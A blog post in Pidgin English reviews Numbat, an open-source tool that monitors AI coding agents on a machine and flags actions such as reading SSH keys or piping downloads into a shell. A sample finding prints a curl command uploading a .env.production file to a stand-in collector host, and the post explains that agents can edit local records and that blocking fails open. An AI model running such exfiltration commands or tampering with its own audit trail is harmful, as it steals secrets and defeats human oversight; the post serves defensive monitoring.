Numbat: see wetin your AI agent dey do

Wetin Numbat be

Numbat dey give you visibility into wetin AI agent do for machine wey belong to you. E dey read hook callbacks and session files wey coding agents already dey produce, normalise dem into one event format, then match dem against rules wey go trigger for behaviours like reading SSH private key or piping download straight into shell. Perplexity release am as open source under Apache 2.0, and e get first tagged release for 29 July 2026.

Everything for here come from the project repository and im own documentation, wey dem read on 2 August 2026. Where Perplexity make claim, this post talk am so. This no be install tutorial, because repository dey only a few days old and im commands go change.

The problem: nobody dey write down wetin the agent do

Coding agent for your VPS dey run shell commands, read files, write files, and open network connections, all as the user wey you give am. Your shell history no record any of dis, because the agent no dey type inside your shell. sshd dey log your login, but e no record anything wey the model decide to do after dat. /var/log/auth.log go remain quiet unless something reach for sudo. The agent dey keep im own transcript, but that file dey inside the agent session directory, im format fit change between releases, and the agent own process fit write to am.

So if person ask whether the agent read .env.production last Tuesday, the honest answer for most servers be say you no fit know. Na this gap make this project dey exist.

Wetín Perplexity claim say Numbat dey do

README start by describing the tool as “endpoint visibility into AI agent activity, with local detection, optional pre-action blocking, and forensic reconstruction”. Endpoint here mean the machine wey agent dey run on, no be network appliance wey dey watch from outside. These na separate capabilities, and each one get different importance.

Detection dey run for the device. Dem write rules for CEL (common expression language) and evaluate dem locally. Multi-step sequence rules dey work on top of this, and you fit add your own rules for YAML. Rule no need send anything comot from the machine before e fit trigger.

Blocking na optional and e get narrow scope. E dey work only through synchronous pre-action hooks, for agents wey expose that hook. E remain off until you turn am on.

Reconstruction happen after the activity don occur. numbat scan parses session artifacts wey agent don already write to disk, so you fit inspect activity wey happen before you install anything. The project clearly limit this claim: “At-rest reconstruction no be disk or memory acquisition, and e no fit recover activity wey agent no persist.”

Output na versioned NDJSON (newline delimited JSON) wey cover events, findings, enforcement decisions, indicators, and scan summaries. As of v0.1.2, schema version na 0.2.0. Records fit go stdout or local file, and optionally through HTTP go collector wey you run. E ship as one static Go binary wey dem build without cgo, for macOS, Linux, and Windows on amd64 and arm64. So for Linux VPS, na one file e be, and you no need install runtime first.

Which agents Numbat fit actually see?

The coverage matrix for docs/agent-coverage.md na the main list wey you suppose trust, and e no cover every agent the same way. The project talk am clearly instead make e hide the limitation. Claude Code, Codex, Gemini CLI, Cursor and GitHub Copilot CLI get both artifact scanning and live capture with a pre-action hook. OpenClaw get native plugin from version 2026.7.1 go upward. Plenty other entries dey marked deferred. This mean live hook path dey, but artifact parser no dey. Often, na because that agent dey store history for SQLite with a write-ahead log wey no safe to read while the agent dey run. OpenCode and Cline dey that group when dem read the matrix on 2 August 2026.

Check the row for your agent before you plan anything around this tool. For almost every line, "supported" mean different thing.

Wetin detection dey look like

Rules get ids wey tell you wetin dem dey for. secrets.read_private_key dey cover SSH key, AWS credentials, kube config or package registry login. exec.download_pipe_shell go trigger when output from curl or wget pipe enter interpreter. privilege.elevated_shell catch request for interactive root shell through sudo, doas, su or pkexec. impact.cryptomining_launch match known miner binaries and image names.

Sequence rules join events wey happen inside one session. chain.secret_read_then_egress need secret file read first, followed by command wey carry data commot. README publish the finding below from controlled replay of two Claude Code pre-action callbacks, no be from live incident. We don trim am here to only the fields wey matter:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Notice "confidence": "medium" wey dey inside the record, and notice wetin the project talk about this whole type of output: "Findings na rule matches, dem no be proof of compromise." Deploy script wey read key, then upload build artifact, go match that same sequence rule. The match correct, but the alarm wrong. Na so every detection tool wey you don ever run normally dey behave.

Blocking default no dey on, and e dey fail open

Every rule wey Numbat releases na monitor-only. To turn one into block, you need do am deliberately: copy the rule complete YAML go your own directory, keep the same id, add enforce: true, increase the version, then validate and install that policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Now na the part wey decide how much trust you suppose get for am. Numbat deny na response wey e send back to the agent, and na the agent actually dey refuse the tool call. The enforcement guide talk am clearly for wetin happen when Numbat itself get problem: "Malformed payloads, relevant evaluation errors, panics, and output failures suppress the numbat deny." Hook input limit na 4 MiB, and oversized input dey follow the same path.

The guide still talk clearly about the limit of deny wey reach: "Fail-open means numbat withholds its deny response. It does not guarantee that the tool executes: the host may still prompt, deny, time out, or apply another hook or policy."

So enforcement for here na guardrail, e no be boundary. If the process crash, Numbat no go block the action, because monitor wey dey freeze your agent every time e get problem go uninstall within one week. This trade-off make sense. But no build security model wey assume say deny go always arrive.

Where Numbat fit join wetin you already dey do

Numbat dey run for the endpoint, inside the agent own process tree, and e dey write go ~/.numbat/records.ndjson by default. Agent wey dey run as your user fit read that file. E fit edit am too. Audit trail dey only as trustworthy as the isolation around am, so every control wey you already get dey in front of this one, not behind am.

Give the coding agent a disposable VM dey limit wetin bad run fit reach. Use a least privilege user for the VPS dey stop the agent from entering files wey e no get reason to open. Keep credentials out of the agent context na wetin make a secrets.read_private_key match rare enough to deserve attention when e happen. And the sandbox wey you set up for Claude Code for a VPS still na the thing wey dey contain am.

Wetin Numbat add na the record, so send the record go somewhere wey the agent no fit reach. numbat ship and the HTTP sink dey available for that. A copy of the stream for another machine na the difference between ordinary log file and evidence. The event model also carry MCP (model context protocol) fields, so tool calls wey leave through an MCP server wey you host for a VPS enter the same stream with local shell commands. This matter because anything wey dey watch only bash no fit see that path.

Test am first with read-only mode

Install one pinned version. Go 1.26.5 or newer dey required for go install. The releases page get prebuilt binaries with SHA-256 checksums if you no wan build from source.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents dey find agents wey you install for the box. numbat scan dey parse session artifacts wey don already dey disk, then print records. README talk say these commands “no dey install hooks or change agent configuration”, and say numbat “never dey execute agents or commands wey e find for artifacts, and e only dey make outbound requests go configured HTTP sinks”. Scanning na read-only, with secret redaction. Normal record output no dey include complete raw transcript.

Live capture na the next step, and e dey change agent configuration:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all dey write events, findings, indicators, and applicable enforcement decisions go ~/.numbat/records.ndjson. Two cautions come directly from the project. You may need trust hooks inside the agent before dem fit run at all. You must review that trust again after you change flags like --enforce. And hook status “dey verify configuration, not execution or delivery”. So, healthy status line no be proof say records dey arrive anywhere.

Why repository wey still new like this no be dependency

The public releases na v0.1.1 for 29 July 2026 and v0.1.2 for 1 August 2026. Repository get 597 stars when dem write this post for 2 August 2026. Numbers wey grow fast like this show Perplexity audience, not how well the code dey hold up. Star mean say person save the page to check am later.

The version number dey honest about where this project dey. The v0.1.2 notes mostly na credential redaction fixes, plus case bundle and telemetry normalisation work. Redaction bugs na the kind early defects we expect for tool wey job na to read other programs' transcripts safely. More bugs go still show, because inputs dey come from about dozen agents, and each one dey change its format according to its own schedule.

Two practical rules follow from this. Pin the tag, never @latest, for anything wey you plan keep. And treat am as an instrument wey you dey evaluate, not as control wey you depend on, at least until the record schema stop changing.

FAQ

Numbat dey block dangerous AI agent commands?

Na only if you choose am, and na only on best effort basis. Every rule wey Numbat ship na monitor only. To block, copy the rule YAML go your own directory, keep its id, add enforce: true, increase the version, then install the hook with --enforce. Even then, the deny na response wey dem pass back to the agent, and na the agent dey refuse the call. The project document fail-open behaviour: malformed payloads, evaluation errors, panics, and output failures all suppress the deny. Use am as guardrail, no be your only boundary.

Which AI agents Numbat support?

Coverage dey different for each agent, and dem list am for docs/agent-coverage.md inside the repository. Claude Code, Codex, Gemini CLI, Cursor, and GitHub Copilot CLI get both artifact scanning and live capture when dem read that page on 2 August 2026. OpenClaw get native plugin from version 2026.7.1. Dem list many other agents with live hook path but no artifact parser yet, usually because their session history dey inside SQLite database wey no safe to read while the agent dey run. Read the row for your agent, because the word "supported" cover different support levels there.

Agent fit tamper with Numbat records?

Yes, if e dey run as the same user. By default, records dey for ~/.numbat/records.ndjson on the same machine as the agent, so anything wey get write access to that path fit change or delete dem. Send the stream go collector wey the agent no fit reach, with numbat ship or the HTTP sink, and keep the local file as convenience copy. Na this same reason the tool dey complement isolation instead of replacing am. Agent wey dey confined inside disposable VM under least privilege user get far less access to its own audit trail.

Numbat ready for production server?

No be as control wey you go depend on. The first public release na v0.1.1 on 29 July 2026, and v0.1.2 follow on 1 August 2026, so the flags and record schema still dey change. Running numbat agents and numbat scan for one box na read-only and low risk, and e go show you wetin your agents don leave for disk. Installing enforcement hooks for server wey matter na different decision, and e need pinned tag plus plan for wetin go happen if the hook misbehave.